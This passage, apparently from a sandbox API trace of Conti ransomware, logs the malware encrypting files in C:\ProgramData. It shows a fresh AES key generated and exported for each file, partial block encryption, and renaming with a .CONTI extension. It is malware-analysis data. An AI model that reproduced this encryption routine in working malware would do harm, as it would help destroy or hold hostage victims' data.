	[0120.513] lstrcatW (in: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.CONTI") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.CONTI"
	[0120.514] MoveFileW (lpExistingFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), lpNewFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.CONTI" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag.conti")) returned 1
	[0120.514] GetProcessHeap () returned 0x1720000
	[0120.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.514] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0120.514] GetProcessHeap () returned 0x1720000
	[0120.514] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510e88 | out: hHeap=0x1720000) returned 1
	[0120.514] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0122.431] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b51960 | out: phKey=0x6b51960*=0x6b7ecf8) returned 1
	[0122.431] CryptExportKey (in: hKey=0x6b7ecf8, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51964, pdwDataLen=0x55ffb34 | out: pbData=0x6b51964*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0123.643] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl")) returned 0x2020
	[0123.643] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0123.644] GetLastError () returned 0x0
	[0123.644] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=8192) returned 1
	[0123.644] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.644] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.644] SetEndOfFile (hFile=0x2fc) returned 1
	[0123.645] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.645] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.645] WriteFile (in: hFile=0x2fc, lpBuffer=0x6b51964*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b51964*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0125.107] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.107] ReadFile (in: hFile=0x2fc, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x2000, lpOverlapped=0x0) returned 1
	[0125.107] CryptEncrypt (in: hKey=0x6b7ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2000, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x2010) returned 1
	[0125.107] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.107] WriteFile (in: hFile=0x2fc, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x2010, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.227] WriteFile (in: hFile=0x2fc, lpBuffer=0x6b51958*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b51958*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.227] CloseHandle (hObject=0x2fc) returned 1
	[0129.561] GetProcessHeap () returned 0x1720000
	[0129.561] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b81f30
	[0129.562] lstrcpyW (in: lpString1=0x6b81f30, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl"
	[0129.562] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.CONTI"
	[0129.562] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.004.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.004.etl.conti")) returned 1
	[0129.580] GetProcessHeap () returned 0x1720000
	[0129.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b81f30 | out: hHeap=0x1720000) returned 1
	[0129.582] CryptDestroyKey (hKey=0x6b7ecf8) returned 1
	[0129.582] GetProcessHeap () returned 0x1720000
	[0129.582] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ad40 | out: hHeap=0x1720000) returned 1
	[0129.582] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0130.188] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b52ba0 | out: phKey=0x6b52ba0*=0x17c8230) returned 1
	[0130.188] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52ba4, pdwDataLen=0x55ffb34 | out: pbData=0x6b52ba4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0130.189] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json")) returned 0x120
	[0130.189] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.189] GetLastError () returned 0x5
	[0130.189] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0130.189] GetProcessHeap () returned 0x1720000
	[0130.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6574c68 | out: hHeap=0x1720000) returned 1
	[0130.189] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0132.122] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c7ef0) returned 1
	[0132.122] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x55ffb34 | out: pbData=0x6b472dc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0132.124] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker")) returned 0x20
	[0132.124] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414
	[0132.125] GetLastError () returned 0x0
	[0132.125] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=0) returned 1
	[0132.125] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0132.125] CloseHandle (hObject=0x414) returned 1
	[0132.125] GetProcessHeap () returned 0x1720000
	[0132.125] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0132.125] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.119] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c81b0) returned 1
	[0133.119] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x55ffb34 | out: pbData=0x6b479b4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.121] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp")) returned 0x2010
	[0133.121] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Temp" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\temp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.121] GetLastError () returned 0x5
	[0133.121] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0133.121] GetProcessHeap () returned 0x1720000
	[0133.121] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb880 | out: hHeap=0x1720000) returned 1
	[0133.121] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.969] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x17c83f0) returned 1
	[0133.969] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x55ffb34 | out: pbData=0x6b47bfc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.971] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.chk")) returned 0x20
	[0133.972] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.972] GetLastError () returned 0x5
	[0133.972] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.972] GetProcessHeap () returned 0x1720000
	[0133.972] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aac0 | out: hHeap=0x1720000) returned 1
	[0133.972] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.972] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a998 | out: phKey=0x6b4a998*=0x17c83f0) returned 1
	[0133.972] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a99c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a99c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.973] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20
	[0133.973] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.973] GetLastError () returned 0x5
	[0133.973] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.973] GetProcessHeap () returned 0x1720000
	[0133.973] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895800 | out: hHeap=0x1720000) returned 1
	[0133.973] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.974] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a2c0 | out: phKey=0x6b4a2c0*=0x17c83f0) returned 1
	[0133.974] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a2c4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a2c4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.974] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20
	[0133.974] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.975] GetLastError () returned 0x5
	[0133.975] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.975] GetProcessHeap () returned 0x1720000
	[0133.975] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02628 | out: hHeap=0x1720000) returned 1
	[0133.975] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.975] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4bbd8 | out: phKey=0x6b4bbd8*=0x17c83f0) returned 1
	[0133.975] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4bbdc, pdwDataLen=0x55ffb34 | out: pbData=0x6b4bbdc*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.976] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20
	[0133.976] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.976] GetLastError () returned 0x5
	[0133.976] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.976] GetProcessHeap () returned 0x1720000
	[0133.976] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e570 | out: hHeap=0x1720000) returned 1
	[0133.976] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.976] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c2b0 | out: phKey=0x6b4c2b0*=0x17c83f0) returned 1
	[0133.976] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c2b4, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c2b4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.977] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20
	[0133.977] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.977] GetLastError () returned 0x5
	[0133.977] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.977] GetProcessHeap () returned 0x1720000
	[0133.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895c28 | out: hHeap=0x1720000) returned 1
	[0133.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.977] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c740 | out: phKey=0x6b4c740*=0x17c83f0) returned 1
	[0133.977] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c744, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c744*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.978] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20
	[0133.978] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.978] GetLastError () returned 0x5
	[0133.978] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.978] GetProcessHeap () returned 0x1720000
	[0133.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bc60 | out: hHeap=0x1720000) returned 1
	[0133.978] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.978] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b489a8 | out: phKey=0x6b489a8*=0x17c7ef0) returned 1
	[0133.978] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b489ac, pdwDataLen=0x55ffb34 | out: pbData=0x6b489ac*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.979] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\users\\all users\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1")) returned 0x20
	[0133.980] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Scripts\\RegisterInboxTemplates.ps1" (normalized: "c:\\users\\all users\\microsoft\\uev\\scripts\\registerinboxtemplates.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.980] GetLastError () returned 0x5
	[0133.980] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0133.980] GetProcessHeap () returned 0x1720000
	[0133.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c026b8 | out: hHeap=0x1720000) returned 1
	[0133.980] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.980] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a508 | out: phKey=0x6b4a508*=0x17c83f0) returned 1
	[0133.980] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a50c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4a50c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.981] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd")) returned 0x20
	[0133.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.981] GetLastError () returned 0x5
	[0133.981] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.981] GetProcessHeap () returned 0x1720000
	[0133.981] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895898 | out: hHeap=0x1720000) returned 1
	[0133.981] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.981] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ae28 | out: phKey=0x6b4ae28*=0x17c83f0) returned 1
	[0133.981] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ae2c, pdwDataLen=0x55ffb34 | out: pbData=0x6b4ae2c*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0133.982] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd")) returned 0x20
	[0133.982] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\Templates\\SettingsLocationTemplate2013.xsd" (normalized: "c:\\users\\all users\\microsoft\\uev\\templates\\settingslocationtemplate2013.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.982] GetLastError () returned 0x5
	[0133.982] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.982] GetProcessHeap () returned 0x1720000
	[0133.982] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17403d0 | out: hHeap=0x1720000) returned 1
	[0133.982] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0133.982] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4be20 | out: phKey=0x6b4be20*=0x17c85f0) returned 1
